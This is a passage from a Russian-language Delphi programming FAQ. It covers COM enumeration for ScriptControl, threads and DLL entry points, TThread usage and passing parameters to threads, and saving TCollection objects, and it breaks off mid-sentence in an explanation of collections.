  Result := S_FALSE;
  if FOwner is TWinControl then
    Total := TWinControl(FOwner).ControlCount
  else
  if FOwner is TCollection then
    Total := TCollection(FOwner).Count
  else
  if FOwner is TStrings then
    Total := TStrings(FOwner).Count
  else
    Exit;
  if FEnumPosition + celt <= Total then begin
    Result := S_OK;
    Inc(FEnumPosition, celt)
  end;
end;

Метод Clone клонирует объект, возвращая интерфейс его копии

function TVCLEnumerator.Clone(out Enum: IEnumVariant): HResult;
var
  NewEnum: TVCLEnumerator;
begin
  NewEnum := TVCLEnumerator.Create(FOwner, FScriptControl);
  NewEnum.FEnumPosition := FEnumPosition;
  Enum := NewEnum as IEnumVariant;
  Result := S_OK;
end;

Для того чтобы класс TVCLProxy мог вернуть интерфейс IEnumVariant надо дополнить метод Invoke следующим кодом:

  case DispId of
   DISPID_NEWENUM: begin
        // У объекта запрашивают интерфейс IEnumVariant для ForEach
        // создаем класс, реализующий этот интерфейс
        OleVariant(VarResult^) := TVCLEnumerator.Create(FOwner,
          FScriptControl) as IEnumVariant;
      end;

Компонент TVCLScriptControl
Текст этого компонента приведен на CD-ROM. Он является наследником TScriptControl и реализует функциональность по работе с TVCLProxy.
Заключение
Microsoft ScriptControl – качественное решение для задач, требующих включения в программу интерпретирующего ядра. Интегрировав его с VCL, мы получаем мощный и гибкий инструмент, позволяющий наращивать возможности в любом направлении. Информация из этой главы вполне достаточна, чтобы на основе приведенного на диске компонента TVCLScriptControl, создать решение, удовлетворяющее любой конкретной задаче.

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Threads

Cодержание раздела:

Потоки и DLL
Как создавать потоки без класса TThread?
Как реализовать обработку информации одновременно несколькими потоками
Как передать при создании нити (Tthread) ей некоторое значение?
Помещение формы в поток New!
Поток с доступом к глобальной переменной основной программы New!


Потоки и DLL

Автор: Charles Calvert

Потоки и DLL-ки

Приведенный ниже текст подразумевает, что вы обладаете базовыми знаниями о принципе работы потоков и умеете создавать DLL.

Техническая сторона вопроса будет сфокусирована на потоках и функции DllEntryPoint. Функция DllEntryPoint не должна объявляться в ваших Delphi DLL. Фактически, большую часть, если не всю, Delphi DLL будет правильно работать и без вашего явного объявления DllEntryPoint. Тем не менее, я включил данный совет для тех Win32-программистов, которые понимают эту функцию и хотят связать с ней свое функциональное назначение, чтобы оно являлось частью DLL. Чтобы быть более конкрентым, это будет интересно тем программистам, которые хотят вызывать одну и ту же DLL из многочисленных потоков одной программы.

Исходный код данного проекта находится на FTP компании Borland.

Данный код также доступен на Compuserve в секции Borland в виде файла BI42.ZIP.

При первом вызове DLL сначала выполняется секция инициализации, расположенная в нижней части кода. При загрузке двух модулей, каждый из которых использует DLL, секция инициализации будет вызвана дважды, для каждого модуля. Вот пример минимального кода Delphi DLL, который компилится, но пока ничего не делает:

library MyDll;

// Здесь код
// экспорта

begin
// Расположенный здесь код выполняется в первую
// очередь при каждом вызове DLL любым exe-файлом.
end.

Как вы можете здесь увидеть, здесь нет традиционного DLLEntryPoint, имеющегося в стандартных C/C++ DLL. Для тех, кто только начал изучать Win32, я сообщу, что DLLEntryPoint берет начало от функций LibMain и WEP, работающих в Windows 3.1. LibMain и WEP теперь считаются устаревшими, вместо них необходимо использовать DLLEntryPoint.

Для явной установки DLLEntryPoint в Delphi, используйте следующий код-скелет, имеющий преимущество перед переменной DLLProc, объявленной глобально в SYSTEM.PAS:

library DllEntry;

procedure DLLEntryPoint(Reason: DWORD);
begin
// Здесь организуется блок Case для Dll_Process_Attach, и др.
end;

// Здесь реализация экспортируемых функций

// экспорт

begin
  if DllProc = nil then begin
    DllProc := @DLLEntryPoint;
    DllEntryPoint(Dll_Process_Attach);
  end;
end.

Данный код назначает объявленный пользователей метод с именем DLLEntryPoint объявленной глобально переменной Delphi с именем DllProc, в свою очередь объявленой в SYSTEM.PAS следующим образом:

var
DllProc: Pointer; { Вызывается каждый раз при вызове точки входа DLL }

Вы можете имитировать стандартную функциональность DLLEntryPoint, вызывая объявленный к тому времени локально DLLEntryPoint, и передавая ему Dll_Process_Attach в качестве переменной. В C/C++ DLL эта переменная должна передаваться определенной пользователем функции с именем DllEntryPoint автоматически при первом доступе к DLL из первой обратившейся к ней программы. В Delphi первый вызов этой функции может быть произведен вручную пользователем, но последующие вызовы происходят автоматически до тех пор, пока вы не назначите первый раз функцию переменной DllProc. Другими словами, вы можете форсировать первый вызов DllEntryPoint как показано выше, но последующие вызовы будут сделаны системой автоматически.

Dll_Process_Attach - одна из четырех возможных констант, которые система можете передавать функции DllEntryPoint. Эти константы объявлены в WINDOWS.PAS следующим образом:

DLL_PROCESS_ATTACH = 1; // Программа подключается к DLL
DLL_THREAD_ATTACH = 2;  // Поток программы подключается к DLL
DLL_THREAD_DETACH = 3;  // Поток "оставляет" DLL
DLL_PROCESS_DETACH = 0; // Exe "отсоединяется" от DLL

Более детальная скелетная конструкция DllEntryPoint с использованием приведенных констант:

procedure DLLEntryPoint(Reason: DWORD);
begin
  case Reason of
    Dll_Process_Attach:
      MessageBox(DLLHandle, 'Подключение процесса', 'Инфо', mb_Ok);
    Dll_Thread_Attach:
      MessageBox(DLLHandle, 'Подключение потока', 'Инфо', mb_Ok);
    Dll_Thread_Detach:
      MessageBox(DLLHandle, 'Отключение потока', 'Инфо', mb_Ok);
    Dll_Process_Detach:
      MessageBox(DLLHandle, 'Отключение процесса', 'Инфо', mb_Ok);
  end; // case
end;

В приведенном примере я просто вызываю диалог MessageBox в ответ на возможные параметры, передаваемые DLLEntryPoint. Тем не менее, вы могли бы найти более достойное применение данным константам или вовсе игнорировать их.

Работа с потоками

Приведенный ниже небольшой фрагмент кода достоин занять место в программе, вызывающей DLL. Он показывает как можно объявить функцию, экспортируемую из DLL, и как вызвать эту функцию из потока. Конечно, обычно нет необходимости вызывать функцию DLL из потока, я делаю это просто для того, чтобы показать функциональное назначение, связанное с обсуждаемыми выше константами Dll_Thread_Attach и Dll_Thread_Detach.

function MyFunc: ShortString; external 'DLLENTRY1' name 'MyFunc';

procedure ThreadFunc(P: Pointer); stdcall;
var
  S: array[0..255] of Char;
begin
  StrPCopy(S, MyFunc);
  MessageBox(Form1.Handle, S, 'Инфо', mb_Ok);
end;

procedure TForm1.UseThreadClick(Sender: TObject);
var
  ThreadID: DWORD;
  HThread: THandle;
begin
  HThread := CreateThread(nil, 0, @ThreadFunc,
    nil, 0, ThreadID);
  if HThread = 0 then ShowMessage('Нет потоков');
end;

Приведенный здесь код делится на три секции. В первой декларируется MyFunc, являющаяся простой реализацией функции в DLL. ThreadFunc сама располагается в отдельном потоке, создаваемом программой. Процедура UseThreadClick создает поток. Сразу после создания потока система вызывет процедуру ThreadFunc.

Вот декларация CreateThread:

var

DWORD = Integer;

function CreateThread(
lpThreadAttributes: Pointer; // атрибуты безопасности потока
dwStackSize: DWORD;          // размер стека для потока
lpStartAddress: TFNThreadStartRoutine; // функция потока
lpParameter: Pointer;        // аргумент для нового потока
dwCreationFlags: DWORD;      // флаги создания
var lpThreadId: DWORD):      // Возвращаемый идентификатор потока
THandle;                     // Возвращаемый дескриптор потока

В нормальной ситуации большинство параметров, передаваемых CreateThread, могут быть установлены в 0 или nil. Показан типичный пример вызова данной функции, но во многих случаях использование lpParameter неоправданно тяжело. Разумеется, любые переменные, установленные в данном параметре, передаются ThreadFunc в виде единственного аргумента.

Фактически, реализация функции потока очень проста, происходит вызов DLL и показывается информационный диалог, демонстрирующий строку, возвращаемую DLL.

Если вы создали программу с потоковой функцией как было показано выше, и создали DLL с функцией DLLEntryPoint, тоже показанной выше, то можно получить визуальное подтверждение того, как работает функция DLLEntryPoint. Поясняю: когда ваша программа загружается в память, DLL также должна быть автоматически загружена, тем самым вызывая MessageBox с текстом `Процесс подключен'. Диалоги появляются в зависимости от причины (Reason) вызова функции DllEntryPoint:

procedure DLLEntryPoint(Reason: DWORD);
begin
  case Reason of
    Dll_Process_Attach:
      MessageBox(DLLHandle, 'Процесс подключен', 'Инфо', mb_Ok);
    Dll_Thread_Attach:
      MessageBox(DLLHandle, 'Поток подключен', 'Инфо', mb_Ok);
    Dll_Thread_Detach:
      MessageBox(DLLHandle, 'Поток отключен', 'Инфо', mb_Ok);
    Dll_Process_Detach:
      MessageBox(DLLHandle, 'Процесс отключен', 'Инфо', mb_Ok);
  end; // case
end;

Если вы создали процедуру ThreadFunc, показанную выше, то должно появиться диалоговое окно (MessageBox) с надписью "Поток подключен". При завершении работы подпрограммы ThreadFunc появится окошко с надписью "Поток отключен". Наконец, при закрытии программы должна появиться надпись "Процесс отключен". Пример, демонстрирующий процесс, доступен в сети.

Довольно сложно иллюстрировать технические возможности Delphi. Не все программисты Delphi захотят так глубоко вникать в дебри Windows API. Тем не менее, те, которые хотят воспользоваться мощью Windows 95 и Windows NT на полную катушку, могут видеть, что все современные технологии доступны всем без исключения программистам на Delphi. Приведенный выше пример доступен в Compuserve в виде файла DLLENT.ZIP и также размещен на Интернет-сервере Borland по адресу www.borland.com.

Взято с http://delphiworld.narod.ru


Как создавать потоки без класса TThread?

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

procedure incedit1; stdcall;
procedure incedit2; stdcall;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    Edit2: TEdit;
    Button6: TButton;
    Button7: TButton;
    Button2: TButton;
    Button3: TButton;
    Button5: TButton;
    Button4: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

var
  th1, th2: cardinal;
  h1, h2: integer;

procedure incedit1;
var
  i: integer;
begin
  i := 0;
  while true do
  begin
    form1.edit1.text := inttostr(i);
    i := i + 1;
  end;
end;

procedure incedit2;
var
  i: integer;
begin
  i := 0;
  while true do
  begin
    form1.edit2.text := inttostr(i);
    i := i + 1;
  end;
end;
{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  h1 := beginthread(nil, 1024, @incedit1, nil, 0, th1);
  h2 := beginthread(nil, 1024, @incedit2, nil, 0, th2);
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
  terminatethread(h1, 0);
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
  terminatethread(h2, 0);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  resumethread(h1);
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  resumethread(h2);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  suspendthread(h1);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  suspendthread(h2);
end;

end.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

procedure printh(p: pointer); stdcall;
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure printh(p: pointer);
begin
  TForm1(p).caption := 'Hello from thread';
  ExitThread(0);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  h1: cardinal;
begin
  createthread(nil, 128, @printh, self, 0, h1);
end;

end.

Взято с http://delphiworld.narod.ru

Примечание от Jin X
Программа не работает. Запускаю, жму Button1, счётчик покрутится полсекунды и всё. Кстати, у procedure incedit1; stdcall; не должно быть параметра типа pointer? Но даже и с ним не пашет. А вот если после i := i + 1; поставить Sleep(10), то будет работать. Вот только не понятно почему. Может, из-за того, что нет синхронизации?


Как реализовать обработку информации одновременно несколькими потоками

Автор: Садыков Алексей Николаевич

Запускайте Delphi. Итак, наша программа будет представлять из себя форму с двумя edit'ами и кнопкой. Добавьте их на форму.

При нажатии на кнопку будут осуществляться некоторые долгие вычисления. Если бы мы не использовали потоки, то, пока эти вычисления не закончатся, делать мы ничего бы не смогли. Надо было бы ждать. Но, так как потоки у нас будут, то во время долгих вычислений можно будет что-нибудь вводить во второй edit (он, собственно, только для этого и существует). В первый же edit наш поток будет выводить некоторые промежуточные результаты своей работы.

Добавьте в программу еще один модуль (меню File, New, Unit).

Внесите в окно кода нового модуля следующий код:

unit Unit2;

interface

uses
  Classes;

type
  TMyThread = class(TThread) //Новый класс
  private
    answer: Integer;
  protected
    procedure ShowResult;
    procedure Execute; override;
  end;

implementation

uses
  SysUtils, Unit1;

//Процедура для вывода информации из потока
procedure TMyThread.ShowResult;
begin
  Form1.Edit1.Text := IntToStr(answer);
end;

//Длинная процедура
procedure TMyThread.Execute;
var
  i: Integer;
begin
  for i := 1 to 10000 do
  begin
    answer := answer + 1;
    Synchronize(ShowResult);
  end;
end;

end.

Немного комментария по коду. В нашем модуле мы вводим новый класс TMyThread как «потомок» TThread. В экземпляре нашего класса и будет выполнятся отдельный поток программы. В классе есть процедура ShowResult для вывода информации из работающего потока в основной поток (форму) нашей программы. Кроме того, в классе есть наша версия метода Execute из родительского класса TThread. Обратите внимание, что в нашей реализации Execute мы пишем

Synchronize(ShowResult);

Тем самым наш поток что-то отправляет в основной поток программы (в данном случае, значение переменной answer). Делаем мы это посредством вызова Synchronize, в котором в качестве параметра указываем имя нужной процедуры.

Теперь переходим к нашему основному модулю Unit1. Во-первых, добавьте в секцию uses ссылку на Unit2:

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Unit2;

Во-вторых, напишите обработчик для нажатия кнопки:

procedure TForm1.Button1Click(Sender: TObject);
var
  MyThread: TMyThread;
begin
  MyThread := TMyThread.Create(False);
end;

Тут мы создаем второй поток для нашего приложения. Параметр False означает, что метод Execute для нашего потока вызовется немедленно.

Запускайте программу. Нажимайте на кнопку. В первом edit'е замелькают промежуточные результаты работы второго потока. Во время его работы вы можете вводить информацию во второй edit — т.е. работа одного потока не мешает работе другого.

Взято с http://delphiworld.narod.ru


Как передать при создании нити (Tthread) ей некоторое значение?

К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как?

Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим образом.
В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно пользоваться данными, переданными ей при его создании.
Например:

......
TYourThread = class(TTHread)
private
 FFileName: String;
protected
 procedure Execute; overrided;
public
 constructor Create(CreateSuspennded: Boolean;
 const AFileName: String);
end;
.....
constructor TYourThread.Create(CreateSuspennded: Boolean;
  const AFileName: String);
begin
 inherited Create(CreateSuspennded);
 FFIleName := AFileName;
end;

procedure TYourThread.Execute;
begin
 try
  ....
  if FFileName = ...
  ....
 except
  ....
 end;
end;
....
TYourForm = class(TForm)
....
private
 YourThread: TYourThread;
 procedure LaunchYourThread(const AFileName: String);
 procedure YourTreadTerminate(Sender: TObject);
....
end;
....
procedure TYourForm.LaunchYourThread(
  const AFileName: String);
begin
 YourThread := TYourThread.Create(True, AFileName);
 YourThread.Onterminate := YourTreadTerminate;
 YourThread.Resume
end;
....
procedure TYourForm.YourTreadTerminate(Sender: TObject);
begin
 ....
end;
....
end.

Источник: http://dmitry9.nm.ru/info/


Помещение формы в поток

Delphi имеет в своем распоряжении классную функцию, позволяющую сделать это:

procedure WriteComponentResFile(const FileName: string;
 Instance: TComponent);

Просто заполните имя файла, в котором вы хотите сохранить компонент, и читайте его затем следующей функцией:

function ReadComponentResFile(const FileName: string;
 Instance: TComponent): TComponent;

Автор: Slawanix
Взято с Vingrad.ru http://forum.vingrad.ru


Поток с доступом к глобальной переменной основной программы

Автор: Xavier Pacheco

unit Main;

interface

uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 StdCtrls;

type
 TMainForm = class(TForm)
   Button1: TButton;
   procedure Button1Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 MainForm: TMainForm;

implementation

{$R *.DFM}

{ NOTE: Change GlobalStr from var to threadvar to see difference }
var
 //threadvar
 GlobalStr: string;

type
 TTLSThread = class(TThread)
 private
   FNewStr: string;
 protected
   procedure Execute; override;
 public
   constructor Create(const ANewStr: string);
 end;

procedure SetShowStr(const S: string);
begin
 if S = '' then
   MessageBox(0, PChar(GlobalStr), 'The string is...', MB_OK)
 else
   GlobalStr := S;
end;

constructor TTLSThread.Create(const ANewStr: string);
begin
 FNewStr := ANewStr;
 inherited Create(False);
end;

procedure TTLSThread.Execute;
begin
 FreeOnTerminate := True;
 SetShowStr(FNewStr);
 SetShowStr('');
end;

procedure TMainForm.Button1Click(Sender: TObject);
begin
 SetShowStr('Hello world');
 SetShowStr('');
 TTLSThread.Create('Dilbert');
 Sleep(100);
 SetShowStr('');
end;

end.

Взято с Vingrad.ru http://forum.vingrad.ru


Работа с коллекциями

Cодержание раздела:

Работа с коллекциями - сохранение и загрузка
Коллекции и работа с ними


Работа с коллекциями - сохранение и загрузка

unit DelphiPt;

interface

uses
  Classes, Graphics;

type
  TDDHPoint = class (TCollectionItem)
  private
    fX, fY: Integer;
  public
    Text: string;
    procedure WriteText (Writer: TWriter);
    procedure ReadText (Reader: TReader);
    procedure DefineProperties (Filer: TFiler); override;
    procedure Paint (Canvas: TCanvas);
    procedure Assign (Pt: TPersistent); override;
  published
    property X: Integer read fX write fX;
    property Y: Integer read fY write fY;
  end;

  TWrapper = class (TComponent)
  private
    FColl: TCollection;
  published
    property MyColl: TCollection read FColl write FColl;
  public
    constructor Create (Owner: TComponent); override;
    destructor Destroy; override;
  end;

implementation

// TWrapper constructor and destructor

constructor TWrapper.Create (Owner: TComponent);
begin
  inherited Create (Owner);
  FColl := TCollection.Create (TDDHPoint);
end;

destructor TWrapper.Destroy;
begin
  FColl.Clear;
  FColl.Free;
  inherited Destroy;
end;

// class TDDHPoint methods

procedure TDDHPoint.WriteText (Writer: TWriter);
begin
  Writer.WriteString (Text);
end;

procedure TDDHPoint.ReadText (Reader: TReader);
begin
  Text := Reader.ReadString;
end;

procedure TDDHPoint.DefineProperties (Filer: TFiler);
begin
  Filer.DefineProperty (
    'Text', ReadText, WriteText, (Text <> ''));
end;

procedure TDDHPoint.Paint (Canvas: TCanvas);
begin
  Canvas.Ellipse (fX - 3, fY - 3, fX + 3, fY + 3);
  Canvas.TextOut (fX + 5, fY + 5, Text);
end;

procedure TDDHPoint.Assign (Pt: TPersistent);
begin
  if Pt is TDDHPoint then
  begin
    fx := TDDHPoint (Pt).fX;
    fY := TDDHPoint (Pt).fY;
    Text := TDDHPoint (Pt).Text;
  end
  else
    // raise an exception
    inherited Assign (pt);
end;

//initialization
//RegisterClass (TWrapper);
end.

unit PersForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Panel1: TPanel;
    Label1: TLabel;
    Edit1: TEdit;
    SpeedButtonLoad: TSpeedButton;
    SpeedButtonSave: TSpeedButton;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    procedure FormCreate(Sender: TObject);
    procedure SpeedButtonSaveClick(Sender: TObject);
    procedure SpeedButtonLoadClick(Sender: TObject);
    procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FormDestroy(Sender: TObject);
    procedure FormPaint(Sender: TObject);
  private
    PtList: TCollection;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses
  DelphiPt;

procedure TForm1.FormCreate(Sender: TObject);
begin
  PtList := TCollection.Create (TDDHPoint);
end;

procedure TForm1.SpeedButtonSaveClick(Sender: TObject);
var
  Str1: TFileStream;
  Wrap: TWrapper;
begin
  if SaveDialog1.Execute then
  begin
    Str1 := TFileStream.Create (SaveDialog1.FileName,
      fmOpenWrite or fmCreate);
    try
      Wrap := TWrapper.Create (self);
      try
        Wrap.MyColl.Assign (ptList);
        Str1.WriteComponent (Wrap);
      finally
        Wrap.Free;
      end;
    finally
      Str1.Free;
    end;
  end;
end;

procedure TForm1.SpeedButtonLoadClick(Sender: TObject);
var
  Str1: TFileStream;
  Wrap: TWrapper;
begin
  if OpenDialog1.Execute then
  begin
    Str1 := TFileStream.Create (
      OpenDialog1.Filename, fmOpenRead);
    try
      Wrap := TWrapper.Create (self);
      try
        Wrap := Str1.ReadComponent (Wrap) as TWrapper;
        ptList.Assign (Wrap.MyColl);
      finally
        Wrap.Free;
      end;
    finally
      Str1.Free;
      Invalidate;
      Edit1.Text := 'Point ' + IntToStr (PtList.Count + 1);
    end;
  end;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  Pt: TDDHPoint;
begin
  Pt := PtList.Add as TDDHPoint;
  Pt.X := X;
  Pt.Y := Y;
  Pt.Text := Edit1.Text;
  Edit1.Text := 'Point ' + IntToStr (PtList.Count + 1);
  Invalidate;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  // empty and destroy the list
  PtList.Clear;
  PtList.Free;
end;

procedure TForm1.FormPaint(Sender: TObject);
var
  I: Integer;
begin
  for I := 0 to PtList.Count - 1 do
    TDDHPoint (PtList.Items [I]).Paint (Canvas);
end;

end.

Взято с http://delphiworld.narod.ru


Коллекции и работа с ними

1. ТЕОРИЯ
1.1. Почему коллекции?

Действительно, а почему, собственно, коллекции? Ведь существует класс TList, это классический список, принципы построения и использования таких списков хорошо известны и подробно описаны в литературе, сам этот класс достаточно прост, но содержит все необходимое - так зачем же еще какие-то ухищрения?

Ответ на этот вопрос, очевидно, следующий - разработчики Delphi ввели класс TCollection для удобства своих пользователей. И, конечно, для расширения возможностей самой Delphi.

Главное отличие класса TCollection от класса TList состоит в том, что он, во-первых, предназначен, в основном, для создания не обычных, а как бы <визуальных> списков и, во-вторых, Delphi содержит готовые средства, поддерживающие работу с коллекциями в design-time.

Что значит <визуальный> список? Это список, элементы которого должны каким-то образом отображаться на экране. Возьмем, например, шапку какой-либо таблицы. Ясно, что она содержит заголовки столбцов, причем каждый заголовок - это строка, которую видит пользователь. Это и есть <визуальный> список, а сами заголовки, очевидно, являются элементами этого списка.

А что значит <поддержка в design-time>? Это значит, что добавлять элементы к коллекции, удалять их и настраивать их свойства можно так же легко и просто, как мы это делаем, работая с компонентами. Для этого используется Object Inspector и еще один встроенный в Delphi редактор, который так и называется - Collection Editor. И еще, что очень важно, коллекции построены на основе класса TPersistent (в отличие от TList, являющегося прямым потомком TObject) - а это означает, что Delphi умеет запоминать в файле формы все настройки коллекции и ее элементов, которые мы делаем в design-time. Со списком TList без его модификации такое невозможно.

Вернемся к примеру с заголовками столбцов в шапке таблицы. Можно реализовать их список на основе класса TList? Безусловно, можно. Но работать с элементами такого списка нам придется только в run-time, что, согласитесь, не очень удобно (ведь потребуется <ручное> написание дополнительного кода, в котором, кстати, не исключены и ошибки). Если программист знает механизмы работы самой Delphi, то на основе класса TList он, конечно, может написать специальный объект-список, специальный редактор для него и получить поддержку списка в design-time. Но что делать другим программистам? Ответ - использовать уже существующие именно для подобных целей коллекции с их готовым редактором Collection Editor. И, конечно, не забыть сказать <спасибо> разработчикам Delphi, позаботившимся о нашем удобстве.

Только ли для построения <визуальных> списков предназначены коллекции? Естественно, нет, с их помощью можно создавать любые списки. Но именно при построении <визуальных> списков преимущества коллекций проявляются особенно отчетливо. Вы легко убедитесь в этом, поработав, например, с компонентом THeaderControl и его свойством Sections.

Посмотрев исходный текст модуля Classes, легко убедиться, что сами коллекции построены на основе все того же списка TList. Таким образом, можно сказать, что коллекции - это <списки специального назначения>.
Наверх

1.2. Основные особенности коллекций и их элементов

Любая коллекция - это объект (но не компонент), потомок класса TCollection. Она содержит элементы, причем каждый элемент - это тоже объект (но тоже не компонент), потомок класса TCollectionItem. Оба этих класса являются лишь базовыми, то есть имеют только ту функциональность, которая нужна для самой коллекции и ее взаимодействия с IDE. Чтобы получить что-то полезное в прикладном смысле, мы должны построить свой класс <элемент коллекции> и свой класс <коллекция>, введя в них нужные свойства и методы (а, если требуется, то и события). Это делается обычным образом, с использованием наследования и будет рассмотрено ниже. Сейчас, для того, чтобы лучше понять отличия коллекций от списков на основе класса TList, разберем их основные особенности. Именно основные и именно особенности, потому что все подробности, конечно, есть в справке Delphi и в ее исходных текстах (модуль Classes). Начнем с класса TCollectionItem.

Свойство Collection. Указывает на коллекцию, которой принадлежит данный элемент. Требуется для корректной работы коллекции с внутренним списком своих элементов. Автоматически назначается при создании элемента. Позволяет легко <перебросить> элемент из одной коллекции в другую, что при использовании списков на основе TList было бы все же посложнее.
Свойство DisplayName. Строка, представляющая элемент в Collection Editor. По умолчанию это всего лишь имя класса элемента, но может быть использовано и более полезным образом (например, для того же заголовка столбца таблицы). В последнем случае это свойство часто сопоставляется с каким-то другим, которое и появляется в Object Inspector под более смысловым именем (например, под именем Text в THeaderSection или TStatusPanel).
Свойство ID. Уникальный целочисленный идентификатор элемента внутри коллекции. Доступен только для чтения и автоматически назначается при вставке элемента в коллекцию. Может измениться только при <переброске> элемента в другую коллекцию (в отличие от свойства Index, которое может меняться при вставке, удалении или переупорядочивании элементов в пределах одной коллекции). Даже если элемент был удален из коллекции, его ID для новых элементов повторно не используется.
Свойство Index. Порядковый номер элемента в коллекции. Аналог индекса элемента в TList.
Метод GetNamePath. Используется в IDE для идентификации элемента коллекции. Возвращает строку, которая появляется в верхнем окошке Object Inspector, когда данный элемент выбирается в Collection Editor. Этот метод - часть поддержки работы в design-time, но вряд ли может быть полезен для прикладной программы.
Метод Changed. Этот protected-метод должен вызываться наследниками TCollectionItem каждый раз, когда меняются существенные свойства элемента и требуется уведомить об этом коллекцию. Приводит к вызову метода Update коллекции, что может быть использовано, например, для перерисовки, для обновления каких-то связей между элементами коллекции (если таковые существуют), да и вообще для любых других целей. При создании и уничтожении элемента метод Update коллекции вызывается автоматически.
Других свойств класс TCollectionItem не содержит, а его остальные методы, в общем, вполне стандартны (за исключением конструктора и деструктора, которые, конечно, выполняют свои обычные функции, но имеют несколько необычную реализацию, а также дополнительных методов для взаимодействия с IDE в design-time). События в этом классе не определены, но, если требуется, то никто не мешает нам определить любые события в потомках этого класса.

Теперь рассмотрим особенности класса TCollection.
Свойство Count. Количество элементов в коллекции. Аналог такого же свойства TList.
Свойство ItemClass. Дает фактический класс элементов коллекции. Этот класс задается при создании коллекции и в дальнейшем быть изменен не может. Все элементы коллекции имеют один и тот же класс (в этом смысле список на основе TList более гибок, так как не имеет подобного ограничения).
Свойство Items. Массив элементов коллекции. Аналог такого же свойства TList.
Методы Add, Clear и Insert. Аналоги соответствующих методов TList, но с одним важнейшим отличием. При добавлении (вставке) объекта в список TList или его удалении из списка сам объект не создается и, соответственно, не уничтожается. Те же операции с коллекцией приводят к автоматическому созданию и уничтожению экземпляра объекта. Конечно, это возможно именно потому, что в случае коллекции класс объекта известен заранее, а в случае TList объект может быть любым.
Метод Assign. Копирует элементы одной коллекции в другую. Конечно, если классы элементов этих коллекций не совпадают, возникнет ошибка. Кстати, такое копирование стало возможным как раз потому, что коллекции и их элементы построены на основе класса TPersistent, в то время как подобная операция со списками TList требует дополнительного кода.
Методы BeginUpdate и EndUpdate. Эти методы проще всего рассмотреть на примере перерисовки. Выше отмечалось, что коллекции предназначены, в основном, для создания <визуальных> списков. Если один из элементов коллекции обновляется, это приводит к его обновлению и на экране. Если же обновляются сразу несколько элементов, то нет смысла выполнять промежуточные перерисовки экрана, а надо выполнить только одну - после обновления всех элементов. Это и позволяют сделать два рассматриваемых метода. Важно знать, что перерисовка происходит только после того, как метод EndUpdate будет вызван ровно столько раз, сколько перед этим был вызван BeginUpdate. Чтобы гарантировать правильную работу, обычно эти вызовы используются совместно с блоком try:finally. Конечно, этот механизм может быть использован при любом обновлении элементов коллекции, а не только для их перерисовки.
Метод FindItemID. Дает элемент коллекции с заданным ID (либо Nil, если такового нет).
Метод GetNamePath. Используется для внутренних нужд IDE, как часть поддержки работы в design-time. Для прикладного программиста этот метод вряд ли представляет интерес.
Метод Changed. Этот protected-метод должен вызываться наследниками TCollection при изменении существенных свойств коллекции. Приводит к вызову метода Update, но не сразу, а после ее полного обновления (см. BeginUpdate и EndUpdate).
Метод Update. В классе TCollection этот protected-метод не делает ничего, но потомки могут заместить его для фактического обновления коллекции (например, для той же перерисовки).
В остальном класс TCollection - это, в общем-то, обычный объект (за исключением того, что имеет ряд дополнительных методов, обеспечивающих взаимодействие с IDE в design-time). Никакие события в этом классе не определены, но могут быть определены в его потомках.
Наверх

1.3. Владелец коллекции и класс TOwnedCollection

В большинстве случаев коллекции используются, как свойства компонентов (собственно, это и есть их основное назначение). Пусть, например, мы разрабатываем компонент, который должен содержать список некоторых объектов. Тогда сначала мы определяем класс <элемент коллекции>, затем класс самой коллекции и, наконец, вводим в наш компонент свойство, как объект этого класса. Это свойство и будет представлять искомый список объектов, причем мы сможем работать с ним в design-time, не предпринимая для этого никаких дополнительных усилий.

В рассмотренном случае наш компонент будет владельцем (owner) коллекции. Согласно общей идеологии Delphi и для обеспечения правильной работы IDE в классе самой коллекции следует заместить метод GetOwner, который любая коллекция наследует от класса TPersistent. Все, что этот метод должен делать - это возвращать ссылку на компонент-владелец и в Delphi определен еще один класс - TOwnedCollection, в котором такая функциональность уже реализована.

Вопрос - если мы создаем коллекцию, планируя использовать ее именно как свойство компонента, то должны ли мы в качестве ее предка выбирать только класс TOwnedCollection, или можно использовать общий класс TCollection?

